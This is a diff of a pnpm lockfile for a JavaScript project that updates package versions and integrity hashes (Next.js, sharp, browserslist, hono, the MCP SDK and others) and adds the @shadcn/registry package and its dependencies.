sha512-6/33lCuxpdHUy27RegyGM/5uTpF7YZd3UR4D0gpkOA/tWY5YR7msbQjqPgCZmSmxrrTLGCXYA4A8vT2H5DPGTQ==} engines: {node: '>= 10'} cpu: [x64] os: [win32] @@ -1778,8 +1778,8 @@ packages: cpu: [x64] os: [win32] - '@redis/client@6.2.1': - resolution: {integrity: sha512-LzxBY7SIBvvJiyCgcaJZZakE3fJrZZ++i24+EDW9fKpCl68D35uJcKFpZZwCfOoG9WZTbyZlMzMeM0gtOAMU9Q==} + '@redis/client@6.3.0': + resolution: {integrity: sha512-fHrjwGCBvAANGi+TuRuwKi83sIOzgHr8eh+Uf48w3fSX7Hhrz174NrWqfJhAC2vnN0d/tfaZpdr6+o6JC3QHwg==} engines: {node: '>= 20.0.0'} peerDependencies: '@node-rs/xxhash': ^1.1.0 @@ -2017,6 +2017,10 @@ packages: resolution: {integrity: sha512-7fIa9vFGNzB13hmxl8Sip3xImSkqpc4wETzuQ7CLzVOwPvwI6y/gVEm0pxRhtJSq8SzfOp26eJWl80u8v78Osg==} engines: {node: '>=18'} + '@shadcn/registry@0.1.3': + resolution: {integrity: sha512-82/OmKAVM9pChDHFVAsDP9PcimPGSKZGdbcdwdGGGcSI69ImpN4ZnqsfZ4hkOFEMal92t3y9djYJHMjO4PcVZA==} + engines: {node: '>=20.18.1'} + '@shaderfrog/glsl-parser@7.0.1': resolution: {integrity: sha512-8mpfsoPeRhesY3pOrzNZBL8uG6N5GVX1EHLBYbd4gzKs+c7vaEIqpTNK5VrffU33qQN4cwpP2v3u4aPPBU32sw==} engines: {node: '>=16'} @@ -2263,8 +2267,8 @@ packages: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - ansi-regex@6.3.0: - resolution: {integrity: sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ==} + ansi-regex@6.4.0: + resolution: {integrity: sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==} engines: {node: '>=12'} ansi-styles@6.2.3: @@ -2303,8 +2307,8 @@ packages: resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} engines: {node: 18 || 20 || >=22} - baseline-browser-mapping@2.11.26: - resolution: {integrity: sha512-GLQdD3y6UF8iVuMJl5fHgE4jdn/ua7n+toKfLgNlg3BqQtOZjpy68T8Tup8/wGWZCDlm7KMg7tPb4MPn7oN0TQ==} + baseline-browser-mapping@2.11.27: + resolution: {integrity: sha512-ElY12DaROGuan+lMmZ8Cvo/ZUbXPe7Enc/9VU/b1T3Kp4dwytRcNdR8DoSJN5SNJT/CuvcCA0DHDVmMOCePdRQ==} engines: {node: '>=6.0.0'} hasBin: true @@ -2328,8 +2332,8 @@ packages: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} - browserslist@4.29.0: - resolution: {integrity: sha512-3GSvyjvDI4Dur1Meg2BekJquu5uF+9R9a1+5M1Mde192eZoXbeXjzgOsgqPS2V8D5wrrip0gR5Hf/GhWQ9ZzaA==} + browserslist@4.29.3: + resolution: {integrity: sha512-1R4kiYKXGViqEN0CnoDrXc1StD9niAwu+j2dukWzrD4bJgsD4lDmEp0CRbc6E/vYJIfTHwPmwyaKtVSudICdPA==} engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true @@ -2356,8 +2360,8 @@ packages: resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} engines: {node: '>=6'} - caniuse-lite@1.0.30001812: - resolution: {integrity: sha512-qN+QNNBr93TCmFrmte0bBCjSDMuRvt78VlHT99qIGPszm4QsqCX8lnyWUFkHi8B7ZBAPq8SH+UqyXNy/odMdng==} + caniuse-lite@1.0.30001815: + resolution: {integrity: sha512-uDybUEyfgbyJJ93J1vikTylBX31AkdVYeVPeffMQpf8XN7hSfr0oZOn4VFOIMNvtU5+rHvC5Udg2TgtJKHm23Q==} chai@6.2.2: resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} @@ -2392,10 +2396,6 @@ packages: resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} engines: {node: '>=6'} - cluster-key-slot@1.1.2: - resolution: {integrity: sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==} - engines: {node: '>=0.10.0'} - cn@0.2.6: resolution: {integrity: sha512-+i4L0zUGgRcEnhsxueVrP7iBGxBx5iD0WOTYg1MwFEu2ZyCmH5Ov2V1cul2Ht5UchRQQgftCf4be/RxspuW6QQ==} engines: {node: '>=20'} @@ -2576,8 +2576,8 @@ packages: ee-first@1.1.1: resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} - electron-to-chromium@1.5.433: - resolution: {integrity: sha512-5lCAbyZBjtmUt/RAGHRqrL2q0oEFRThDAsZHHDn9XHa89Qw7gMYOeSicBTy+AHfvo0r6vwsZvqNJTQIQy1BLzA==} + electron-to-chromium@1.5.451: + resolution: {integrity: sha512-vUNKPrUzw8ByEMOxloq0a71iD/mPuPxVkbDm3G5YhnxTzOw/I6qAg2MUS0cYj/c267lWmw26yW4Vv7foxTxPLg==} emoji-regex@10.6.0: resolution: {integrity: sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==} @@ -2747,8 +2747,8 @@ packages: resolution: {integrity: sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==} engines: {node: '>=12.0.0'} - express-rate-limit@8.7.0: - resolution: {integrity: sha512-hOwV7WOxXfjRpAM1DSJWZDXx3GhplwD8IfwuwvogD8i1Qnkgosw/H45s4ZnFAUHDAhPjlY9hLBvJhKmGMyY26g==} + express-rate-limit@8.7.1: + resolution: {integrity: sha512-2FXbqkygil3mZiXzEtM0IjE/UBmBNot0J1GEVrJT4JbrvwOSoEtqtO+wHbiMQELWe1eNvHoYRg2dkjOid+6JkA==} engines: {node: '>= 16'} peerDependencies: express: '>= 4.11' @@ -2924,8 +2924,8 @@ packages: hermes-parser@0.25.1: resolution: {integrity: sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==} - hono@4.13.9: - resolution: {integrity: sha512-7dMkQmZoC4E6F7AtaQSPhlWAdnBti+j7rreMZl8QB4jFiEhP9TWbGWUMi8WYzBCgmgulxuvLQupKqo+Co6Omyg==} + hono@4.13.13: + resolution: {integrity: sha512-CQ46U0ZkAGmbT/4UxdzzGJpacP2IeKgY4a5/tOI9AABbpOMfK739wfDXmv1usCk+3RkKj1hQy4/fjhiwa2xlrA==} engines: {node: '>=16.9.0'} hookified@1.15.1: @@ -2973,8 +2973,8 @@ packages: resolution: {integrity: sha512-IBTdIkzZNOpqm7q3dRqJvMaldXjDHWkEDfrwGEQTs5eaQMWV+djAhR+wahyNNMAa+qpbDUhBMVt4ZKNwpPm7xQ==} engines: {node: ^20.17.0 || >=22.9.0} - ip-address@10.7.2: - resolution: {integrity: sha512-7H/2gFSIitxc0hG3nOI1glS8QLo/EHBFFLk8vEUjXY/xu0AdL8jZ9U1IzO2PUm0d2D/ofQcAifb0g6OBkt8U7w==} + ip-address@10.7.3: + resolution: {integrity: sha512-A1kdq/tSb5QjvKvAMgIoEvDBIgL7qaqVP/jkvSwYYRZ9iEzvPpopxp2wQfu3SuZRHtpHNxMn8Fs0bS+gf5Xmwg==} engines: {node: '>= 12'} ipaddr.js@1.9.1: @@ -3361,10 +3361,14 @@ packages: lru-cache@5.1.1: resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} - lucide-react@1.48.0: - resolution: {integrity: sha512-R0CIKY/fXiC6y9xRBADgsK+VW2p/pcTJOMhLZf1T+uG+vJUvyUR02nGOgmIIC7MPkiNK4Ox8QDnbqF8rJYWPZQ==} + lucide-react@1.52.0: + resolution: {integrity: sha512-TUgPtl5ZI9WgxOcbu4ckaC5B3l1qxPQrCMgb6OfUB9owx/OvSJfcf93SMgUWAxRw5/1XDfh9uI5F5iNGXCcGDQ==} peerDependencies: + '@types/react': '*' react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@types/react': + optional: true magic-string@0.30.21: resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} @@ -3434,8 +3438,8 @@ packages: ms@2.1.3: resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} - nanoid@3.3.19: - resolution: {integrity: sha512-Y2tUNy4ouw6tq5oDSKeQYGOyhkUBhNOcGV/02KC+6kd9eDGqdZd++mjMiIDilrBYvjEnCYvVtsuHCuP+okSfug==} + nanoid@3.3.20: + resolution: {integrity: sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==} engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} hasBin: true @@ -3446,8 +3450,8 @@ packages: resolution: {integrity: sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==} engines: {node: '>=18'} - next@16.3.6: - resolution: {integrity: sha512-L+otWM/aQbYTx98aZhgEoMb4bZAXx1YVW4UMA/vuCyCoWG5HJyZUili8QAkqzrcC+5///tsz3s0M+SlyB5bLMw==} + next@16.4.0: + resolution: {integrity: sha512-N2C+9q89Z/oLrsepSRS4jRMtwmUZAoZuAHU0e9T6+sAB5DdhADmrnOW+zjYijlrYFmVfmQhGVGy9eMFoB7UgKg==} engines: {node: '>=20.9.0'} hasBin: true peerDependencies: @@ -3476,8 +3480,8 @@ packages: encoding: optional: true - node-releases@2.0.56: - resolution: {integrity: sha512-x0InOIyzgdk+eyaWaRJFH5snEtiImgBgblZ2CyPrLmqqcuMQkEvcDPHbzqbD8eDsSeJbVOjn+crzyzHaM4D+/A==} + node-releases@2.0.57: + resolution: {integrity: sha512-kQK9LGGFiHtrWiNhZtA7Qbw17AQz+dmsEKODRIVTXA9+e5MS/2gZEBhYJt13GrAz5/IOZKddH/0Z3TP/Zgo+yw==} engines: {node: '>=18'} npm-run-path@4.0.1: @@ -3686,9 +3690,9 @@ packages: resolution: {integrity: sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==} engines: {node: ^10 || ^12 || >=14} - powershell-utils@0.1.0: - resolution: {integrity: sha512-dM0jVuXJPsDN6DvRpea484tCUaMiXWjuCn++HGTqUWzGDjv5tZkEZldAJ/UMlqRYGFrD/etByo4/xOuC/snX2A==} - engines: {node: '>=20'} + postcss@8.5.29: + resolution: {integrity: sha512-49cGhUbXj8Qenv0iTMxA1cFBzxXoctpC9Ujd77t1WcbJIr6nF/eI7g/8MgxrYldFRuAXvja7xQRwavoW7kgrxQ==} + engines: {node: ^10 || ^12 || >=14} powershell-utils@0.2.1: resolution: {integrity: sha512-C+y9x90UElAddDZmV4qOx9W53B61PO7cIqWz2dQsWlwswuq4mr8NEwytdGKboYbQlGZ3awrkTeNvcZiZNHnQ8A==} @@ -3718,8 +3722,8 @@ packages: resolution: {integrity: sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==} engines: {node: '>=20'} - qr@0.7.0: - resolution: {integrity: sha512-/VrrACmOAwZVipuRITwfEwOL5oAMEHH5PTmBWaGtlTom2Thxaa+rhmna4zU9PRN2uLw2wdccbkHOLGZb1Q9SdA==} + qr@0.7.2: + resolution: {integrity: sha512-yovYRuacJBJkG9fWSwcB2bKZhr58c04DpOXguDU+rAAoJZdi6/J3DtlomkKqdd1MutIptIK+kigWmT7LKz8y7A==} engines: {node: '>= 20.19.0'} qs@6.16.0: @@ -3827,13 +3831,13 @@ packages: setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} - shadcn@4.21.0: - resolution: {integrity: sha512-UU2mFNusW8C5rvadKdH69vERYZqUlOOlXBcf0MYhYLdTGP6DPti7X4qovCu+RTfCqsAgq/T+YfE0Vnttxh9aiw==} + shadcn@4.21.4: + resolution: {integrity: sha512-YYfn/hsHbRH2mGwnKBx9tk+DjTQH+RUMS5iCxjKzwzuJ5uoHPqLOFUCJSeX0sXfrcBSfgQaXiOLGKNLjlIQxxw==} engines: {node: '>=20.18.1'} hasBin: true - sharp@0.35.4: - resolution: {integrity: sha512-n++8XWcj+jCOr2IOl7h8LbKnGBDY4aPbmprMONBNFdn0ImXqpGVv5zliDs0V9HbmbCQLpbuo2ej9rAoOQTvMDA==} + sharp@0.35.5: + resolution: {integrity: sha512-Ywn4OnzGukp7CDMrp08RQ50YKmuwG47brZgIVPTvBaaAfQlRlygrRqSrxdCiL9M+LlzLBiJ68IR1QqvzHyjC7g==} engines: {node: '>=20.9.0'} peerDependencies: '@types/node': '*' @@ -3891,6 +3895,10 @@ packages: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} + source-map-js@1.2.2: + resolution: {integrity: sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==} + engines: {node: '>=0.10.0'} + source-map@0.6.1: resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} engines: {node: '>=0.10.0'} @@ -3961,8 +3969,8 @@ packages: babel-plugin-macros: optional: true - systeminformation@5.33.13: - resolution: {integrity: sha512-GtyakkchTQKymM1WeAB652zi3rM1q00RKdc+jZe9KGstuc/mWUwAnQGN/RE5gVYvHIR8xYOUIUD9irVKDtA0wA==} + systeminformation@5.33.15: + resolution: {integrity: sha512-s5RloL0F7xhN0ZjfHtLGnbf7EW74EI0N8NFL+1xR7Oxz9QA33obNZsl7lyfnJOhN04E/kGFPoJPlvY7TZ5fzmw==} engines: {node: '>=10.0.0'} os: [darwin, linux, win32, freebsd, openbsd, netbsd, sunos, android] hasBin: true @@ -4030,6 +4038,10 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + type-fest@4.41.0: + resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==} + engines: {node: '>=16'} + type-fest@5.10.0: resolution: {integrity: sha512-NoSdpq/WEiAg5sjmBkmV/hfxv6HJH4NqPNrqjtSO5CwRmpsDfaf4begxW34KdJykH/l1yHtwBWQkCRdoXO8mPA==} engines: {node: '>=20'} @@ -4075,8 +4087,8 @@ packages: resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} engines: {node: '>= 0.8'} - update-browserslist-db@1.3.3: - resolution: {integrity: sha512-pJ2sYawQS0R/WI928Gj5GlPhTGzbMelq0+4INtSYNDV9ErKJcX6xjGWkoG/VnB3dpUm00zALaqkrUD77pO5TDQ==} + update-browserslist-db@1.3.4: + resolution: {integrity: sha512-t8wonIOdQyOjtPd2VktlBu6QjTVTks6v8bSi7kd0r2Vll8TK1JYDZtRRdbmCHOAMphkZgrzK+L+vXK4pyZ8t4A==} hasBin: true peerDependencies: browserslist: '>= 4.21.0' @@ -4231,8 +4243,8 @@ packages: wrappy@1.0.2: resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} - wsl-utils@1.0.0: - resolution: {integrity: sha512-Hl0ZOAs672vg+06kfujwRhoS6/jehvULrlFkuF2dRu6pHgA8U06h3xqNIqNNU1LTXPcedxByAR4GS6pwQK0mgA==} + wsl-utils@1.0.1: + resolution: {integrity: sha512-c16PKLIRxBYpR3jSWsdS7SFp0COm5SOQdiFjY818dYFHJbMGuLBszpF07LBWmOS1uzrHa9VGdynsEgoeKy0oOQ==} engines: {node: '>=20'} y18n@5.0.8: @@ -4316,7 +4328,7 @@ snapshots: '@babel/helpers': 7.29.7 '@babel/parser': 7.29.9 '@babel/template': 7.29.7 - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 '@babel/types': 7.29.8 '@jridgewell/remapping': 2.3.5 convert-source-map: 2.0.0 @@ -4343,7 +4355,7 @@ snapshots: dependencies: '@babel/compat-data': 7.29.7 '@babel/helper-validator-option': 7.29.7 - browserslist: 4.29.0 + browserslist: 4.29.3 lru-cache: 5.1.1 semver: 6.3.1 @@ -4355,7 +4367,7 @@ snapshots: '@babel/helper-optimise-call-expression': 7.29.7 '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7) '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 semver: 6.3.1 transitivePeerDependencies: - supports-color @@ -4364,14 +4376,14 @@ snapshots: '@babel/helper-member-expression-to-functions@7.29.7': dependencies: - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color '@babel/helper-module-imports@7.29.7': dependencies: - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color @@ -4381,7 +4393,7 @@ snapshots: '@babel/core': 7.29.7 '@babel/helper-module-imports': 7.29.7 '@babel/helper-validator-identifier': 7.29.7 - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 transitivePeerDependencies: - supports-color @@ -4396,13 +4408,13 @@ snapshots: '@babel/core': 7.29.7 '@babel/helper-member-expression-to-functions': 7.29.7 '@babel/helper-optimise-call-expression': 7.29.7 - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 transitivePeerDependencies: - supports-color '@babel/helper-skip-transparent-expression-wrappers@7.29.7': dependencies: - '@babel/traverse': 7.29.8 + '@babel/traverse': 7.29.10 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color @@ -4470,7 +4482,7 @@ snapshots: '@babel/parser': 7.29.9 '@babel/types': 7.29.8 - '@babel/traverse@7.29.8': + '@babel/traverse@7.29.10': dependencies: '@babel/code-frame': 7.29.7 '@babel/generator': 7.29.8 @@ -4655,7 +4667,7 @@ snapshots: object-treeify: 1.1.33 open: 8.4.2 picomatch: 4.0.7 - systeminformation: 5.33.13 + systeminformation: 5.33.15 undici: 7.30.0 which: 4.0.0 yocto-spinner: 1.2.2 @@ -4810,9 +4822,9 @@ snapshots: '@grammyjs/types@5.0.0': {} - '@hono/node-server@2.1.1(hono@4.13.9)': + '@hono/node-server@2.1.4(hono@4.13.13)': dependencies: - hono: 4.13.9 + hono: 4.13.13 '@humanfs/core@0.19.2': dependencies: @@ -4834,108 +4846,108 @@ snapshots: '@img/colour@1.1.0': {} - '@img/sharp-darwin-arm64@0.35.4': + '@img/sharp-darwin-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-arm64': 1.3.3 + '@img/sharp-libvips-darwin-arm64': 1.3.4 optional: true - '@img/sharp-darwin-x64@0.35.4': + '@img/sharp-darwin-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-x64': 1.3.3 + '@img/sharp-libvips-darwin-x64': 1.3.4 optional: true - '@img/sharp-freebsd-wasm32@0.35.4': + '@img/sharp-freebsd-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-libvips-darwin-arm64@1.3.3': + '@img/sharp-libvips-darwin-arm64@1.3.4': optional: true - '@img/sharp-libvips-darwin-x64@1.3.3': + '@img/sharp-libvips-darwin-x64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm64@1.3.3': + '@img/sharp-libvips-linux-arm64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm@1.3.3': + '@img/sharp-libvips-linux-arm@1.3.4': optional: true - '@img/sharp-libvips-linux-ppc64@1.3.3': + '@img/sharp-libvips-linux-ppc64@1.3.4': optional: true - '@img/sharp-libvips-linux-riscv64@1.3.3': + '@img/sharp-libvips-linux-riscv64@1.3.4': optional: true - '@img/sharp-libvips-linux-s390x@1.3.3': + '@img/sharp-libvips-linux-s390x@1.3.4': optional: true - '@img/sharp-libvips-linux-x64@1.3.3': + '@img/sharp-libvips-linux-x64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-x64@1.3.3': + '@img/sharp-libvips-linuxmusl-x64@1.3.4': optional: true - '@img/sharp-linux-arm64@0.35.4': + '@img/sharp-linux-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm64': 1.3.3 + '@img/sharp-libvips-linux-arm64': 1.3.4 optional: true - '@img/sharp-linux-arm@0.35.4': + '@img/sharp-linux-arm@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm': 1.3.3 + '@img/sharp-libvips-linux-arm': 1.3.4 optional: true - '@img/sharp-linux-ppc64@0.35.4': + '@img/sharp-linux-ppc64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-ppc64': 1.3.3 + '@img/sharp-libvips-linux-ppc64': 1.3.4 optional: true - '@img/sharp-linux-riscv64@0.35.4': + '@img/sharp-linux-riscv64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-riscv64': 1.3.3 + '@img/sharp-libvips-linux-riscv64': 1.3.4 optional: true - '@img/sharp-linux-s390x@0.35.4': + '@img/sharp-linux-s390x@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-s390x': 1.3.3 + '@img/sharp-libvips-linux-s390x': 1.3.4 optional: true - '@img/sharp-linux-x64@0.35.4': + '@img/sharp-linux-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-x64': 1.3.3 + '@img/sharp-libvips-linux-x64': 1.3.4 optional: true - '@img/sharp-linuxmusl-arm64@0.35.4': + '@img/sharp-linuxmusl-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 optional: true - '@img/sharp-linuxmusl-x64@0.35.4': + '@img/sharp-linuxmusl-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 optional: true - '@img/sharp-wasm32@0.35.4': + '@img/sharp-wasm32@0.35.5': dependencies: '@emnapi/runtime': 1.11.3 optional: true - '@img/sharp-webcontainers-wasm32@0.35.4': + '@img/sharp-webcontainers-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-win32-arm64@0.35.4': + '@img/sharp-win32-arm64@0.35.5': optional: true - '@img/sharp-win32-ia32@0.35.4': + '@img/sharp-win32-ia32@0.35.5': optional: true - '@img/sharp-win32-x64@0.35.4': + '@img/sharp-win32-x64@0.35.5': optional: true '@jridgewell/gen-mapping@0.3.13': @@ -4965,9 +4977,9 @@ snapshots: '@keyv/serialize@1.1.1': {} - '@modelcontextprotocol/sdk@1.30.1(zod@3.25.76)': + '@modelcontextprotocol/sdk@1.32.1(zod@3.25.76)': dependencies: - '@hono/node-server': 2.1.1(hono@4.13.9) + '@hono/node-server': 2.1.4(hono@4.13.13) ajv: 8.20.0 ajv-formats: 3.0.1(ajv@8.20.0) content-type: 1.0.5 @@ -4976,8 +4988,8 @@ snapshots: eventsource: 3.0.7 eventsource-parser: 3.1.1 express: 5.2.1 - express-rate-limit: 8.7.0(express@5.2.1) - hono: 4.13.9 + express-rate-limit: 8.7.1(express@5.2.1) + hono: 4.13.13 jose: 6.2.12 json-schema-typed: 8.0.2 pkce-challenge: 5.0.1 @@ -4994,30 +5006,30 @@ snapshots: '@tybys/wasm-util': 0.10.4 optional: true - '@next/env@16.3.6': {} + '@next/env@16.4.0': {} - '@next/swc-darwin-arm64@16.3.6': + '@next/swc-darwin-arm64@16.4.0': optional: true - '@next/swc-darwin-x64@16.3.6': + '@next/swc-darwin-x64@16.4.0': optional: true - '@next/swc-linux-arm64-gnu@16.3.6': + '@next/swc-linux-arm64-gnu@16.4.0': optional: true - '@next/swc-linux-arm64-musl@16.3.6': + '@next/swc-linux-arm64-musl@16.4.0': optional: true - '@next/swc-linux-x64-gnu@16.3.6': + '@next/swc-linux-x64-gnu@16.4.0': optional: true - '@next/swc-linux-x64-musl@16.3.6': + '@next/swc-linux-x64-musl@16.4.0': optional: true - '@next/swc-win32-arm64-msvc@16.3.6': + '@next/swc-win32-arm64-msvc@16.4.0': optional: true - '@next/swc-win32-x64-msvc@16.3.6': + '@next/swc-win32-x64-msvc@16.4.0': optional: true '@nodelib/fs.scandir@2.1.5': @@ -5427,9 +5439,7 @@ snapshots: '@oxlint/binding-win32-x64-msvc@1.83.0': optional: true - '@redis/client@6.2.1(@opentelemetry/api@1.9.1)': - dependencies: - cluster-key-slot: 1.1.2 + '@redis/client@6.3.0(@opentelemetry/api@1.9.1)': optionalDependencies: '@opentelemetry/api': 1.9.1 @@ -5580,6 +5590,34 @@ snapshots: '@sentry/conventions': 0.16.0 '@sentry/core': 10.75.0 + '@shadcn/registry@0.1.3': + dependencies: + '@babel/core': 7.29.7 + '@babel/parser': 7.29.9 + '@babel/plugin-transform-typescript': 7.29.9(@babel/core@7.29.7) + '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7) + '@dotenvx/dotenvx': 1.75.1 + cn: 0.2.6 + code-block-writer: 13.0.3 + deepmerge: 4.3.1 + execa: 9.6.1 + fast-glob: 3.3.3 + fs-extra: 11.4.1 + fuzzysort: 3.1.0 + kleur: 4.1.5 + ora: 8.2.0 + postcss: 8.5.29 + prompts: 2.4.2 + recast: 0.23.21 + socks: 2.8.10 + stringify-object: 5.0.0 + tsconfig-paths: 4.2.0 + type-fest: 4.41.0 + undici: 7.30.0 + zod: 3.25.76 + transitivePeerDependencies: + - supports-color + '@shaderfrog/glsl-parser@7.0.1': {} '@simple-libs/child-process-utils@2.0.0': @@ -5830,7 +5868,7 @@ snapshots: ansi-regex@5.0.1: {} - ansi-regex@6.3.0: {} + ansi-regex@6.4.0: {} ansi-styles@6.2.3: {} @@ -5863,7 +5901,7 @@ snapshots: balanced-match@4.0.4: {} - baseline-browser-mapping@2.11.26: {} + baseline-browser-mapping@2.11.27: {} better-promises@1.0.0: dependencies: @@ -5895,13 +5933,13 @@ snapshots: dependencies: fill-range: 7.1.1 - browserslist@4.29.0: + browserslist@4.29.3: dependencies: - baseline-browser-mapping: 2.11.26 - caniuse-lite: 1.0.30001812 - electron-to-chromium: 1.5.433 - node-releases: 2.0.56 - update-browserslist-db: 1.3.3(browserslist@4.29.0) + baseline-browser-mapping: 2.11.27 + caniuse-lite: 1.0.30001815 + electron-to-chromium: 1.5.451 + node-releases: 2.0.57 + update-browserslist-db: 1.3.4(browserslist@4.29.3) bundle-name@4.1.1: dependencies: @@ -5929,7 +5967,7 @@ snapshots: callsites@3.1.0: {} - caniuse-lite@1.0.30001812: {} + caniuse-lite@1.0.30001815: {} 